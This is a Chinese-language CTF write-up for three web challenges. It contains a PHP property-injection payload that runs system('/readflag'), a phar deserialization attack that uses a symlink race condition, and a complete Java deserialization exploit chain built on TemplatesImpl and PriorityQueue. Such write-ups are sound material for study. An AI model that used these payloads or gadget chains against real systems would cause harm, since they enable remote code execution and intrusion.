warmup-php 题目给了4个类,Base
、ListView
、Filter
、TestView
,不过Filter
没用到,另外三个类从左到右是依次继承的关系
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php spl_autoload_register (function($class ){ require ("./class/" .$class .".php" ); }); highlight_file (__FILE__ );error_reporting (0 );$action = $_GET ['action' ];$properties = $_POST ['properties' ];class Action { public function __construct ($action ,$properties ) { $object =new $action (); foreach ($properties as $name =>$value ) $object ->$name =$value ; $object ->run (); } } new Action ($action ,$properties );?>
创建一个类,然后给类中变量进行赋值,最后触发类的run()
函数,知道了入口点就好做了
1 2 3 4 5 6 7 8 9 10 11 ListView.run() ↓↓↓ ListView.renderContent() ↓↓↓ ListView.renderSection($matches ) ↓↓↓ TestView.renderTableBody() ↓↓↓ TestView.renderTableRow($row ) ↓↓↓ Base.evaluateExpression($_expression_ ,$_data_ =array())
有2点需要注意的:
preg_replace_callback
函数的正则表达式是{(\w+)}
,所以传入的template
需要带上{}
在renderTableBody
函数中需要类中的data
变量有值,才会进renderTableRow($row)
函数
最后Payload如下
1 2 3 http://2d63ba8a-34a4-453a-acfe-c73862f9a4bb.node4.buuoj.cn:81/?action=TestView POST properties[template]={TableBody}&properties[data]=1&properties[rowHtmlOptionsExpression]=system('/readflag' )
soeasy_php 查看源码可以看到还有一个edit.php
的文件,利用该文件读取源代码
edit.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php ini_set ("error_reporting" ,"0" );class flag { public function copyflag ( ) { exec ("/copyflag" ); echo "SFTQL" ; } public function __destruct ( ) { $this ->copyflag (); } } function filewrite ($file ,$data ) { unlink ($file ); file_put_contents ($file , $data ); } if (isset ($_POST ['png' ])){ $filename = $_POST ['png' ]; if (!preg_match ("/:|phar|\/\/|php/im" ,$filename )){ $f = fopen ($filename ,"r" ); $contents = fread ($f , filesize ($filename )); if (strpos ($contents ,"flag{" ) !== false ){ filewrite ($filename ,"Don't give me flag!!!" ); } } if (isset ($_POST ['flag' ])) { $flag = (string )$_POST ['flag' ]; if ($flag == "Give me flag" ) { filewrite ("/tmp/flag.txt" , "Don't give me flag" ); sleep (2 ); die ("no no no !" ); } else { filewrite ("/tmp/flag.txt" , $flag ); } $head = "uploads/head.png" ; unlink ($head ); if (symlink ($filename , $head )) { echo "成功更换头像" ; } else { unlink ($filename ); echo "非正常文件,已被删除" ; }; } }
利用flag.copyflag
可以将/flag
赋给/tmp/flag.txt
,这里需要触发类的话就要使用phar
协议,因为都是文件处理的函数
调用filewrite
函数的地方基本都固定了文件名,可以直接抛弃了,那么就需要把导致symlink($filename, $head)
返回False
进入else
语句来触发Phar
协议了
1 2 3 4 <?php file_put_contents ("123.php" , "<?php echo(123);?>" ); var_dump (symlink ("/etc/passwd" , "123.php" )); ?>
可以利用上述代码进行测试(在Linux环境下 ),效果如下
但是在symlink
之前有个unlink($head);
,说明需要条件竞争一下来绕过
构造条件竞争的表达式也十分固定,只能有..//../../../../../../../tmp/flag.txt
和phar://uploads/上传的Phar文件
构成,并且phar://uploads/上传的Phar文件
必须是最后一个
解释一下它为啥是最后一个,由于需要上传$_POST['flag']
才能进入到第二段if
语句中,而进入后传参的$_POST['flag']
又会被写到/tmp/flag.txt
,如果payload
不是在最后一个那么会/tmp/flag.txt
被覆盖
前面都是使用..//../../../../../../../tmp/flag.txt
的原因:只有链接的是/tmp/flag.txt
文件,才能通过uploads/head.png
读到flag,如果来接到别的上,虽然可以成功执行phar
协议,但是你在更换链接时又会导致/tmp/flag.txt
内容被覆盖
最后一点:需要网络好一点,成功的概率就会高一点,这里只能多试几次!!!玄学拉满了
在成功后,会显示SFTQL
的字样,最后访问uploads/head.png
即可获得flag
warmup-java 先反编译jar包,查看pom.xml文件中导入的依赖,没有CC依赖直接不会了,Firebasky
大哥看完后让我去学一下jdk7u21链
查看class文件内容,主要有个MyInvocationHandler
类引起了注意
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package BOOT-INF.classes.com.example.warmup;import java.io.Serializable;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;public class MyInvocationHandler implements InvocationHandler , Serializable { private Class type; public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { Method[] methods = this .type.getDeclaredMethods(); Method[] var5 = methods; int var6 = methods.length; for (int var7 = 0 ; var7 < var6; var7++) { Method xmethod = var5[var7]; xmethod.invoke(args[0 ], new Object [0 ]); } return null ; } }
在之前学习CC3的时候用到了TemplatesImpl
类是调用了其newInstance
方法进类加载导致任意代码执行,此处也是类似的,令xmethod
为newInstance
,arg[0]
为TemplatesImpl
类对象,因为newInstance
方法没有参数所以这里可以使用new Object[0]
或者null
。
查看了TemplatesImpl
类返回的方法太多了,并不适合。
其继承的接口类Templates
只有两个方法,getOutputProperties
和newTransformer
方法,并且在TemplatesImpl
类中这两个方法都会调用到getTransletInstance
方法,完成链子后面的操作。
接着往前构造触发点,在学习了CC2后,认识一个新的类PriorityQueue
,通过其类的readObject方法可以调用到如下方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; }
其中调用comparator.compare((E) c, (E) queue[right])
,而如果comparator
为MyInvocationHandler
代理类,则在调用comparator.compare
方法时就会触发MyInvocationHandler#invoke
方法,并且这里的c
变量是根据queue[child]
传入的,为可控的
最后exp如下
exp.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 package com.example.warmup;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.io.*;import java.lang.reflect.*;import java.util.*;public class exp { public static void main (String[] args) throws Exception { File file = new File ("atao.class" ); FileInputStream fis = new FileInputStream (file); long fileSize = file.length(); byte [] bytes = new byte [(int ) fileSize]; fis.read(bytes); TemplatesImpl templates = new TemplatesImpl (); Class c = TemplatesImpl.class; Field bytecodes = c.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates, new byte [][] {bytes}); Field name = c.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates, "atao" ); Field tfactory = c.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates, new TransformerFactoryImpl ()); Constructor<?> constructor = MyInvocationHandler.class.getDeclaredConstructor(); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(); Comparator proxy = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class []{Comparator.class}, invocationHandler); PriorityQueue<Object> priorityQueue = new PriorityQueue <Object>(2 ); priorityQueue.add(1 ); priorityQueue.add(2 ); Object[] queueArray = new Object [2 ]; queueArray[0 ] = templates; queueArray[1 ] = 1 ; Field field = PriorityQueue.class.getDeclaredField("queue" ); field.setAccessible(true ); field.set(priorityQueue, queueArray); Field field1 = PriorityQueue.class.getDeclaredField("comparator" ); field1.setAccessible(true ); field1.set(priorityQueue, proxy); System.out.println(Utils.objectToHexString(priorityQueue)); } }
需要将templates
设置在第一个,如果是在后面则会导致执行失败;其次在进行PriorityQueue#add
时也会利用到comparator
成员变量,所以一开始不能赋值,否则会导致执行失败。
由于Java也是刚学习,有些地方可能讲的不是很好,有任何问题可以私聊我。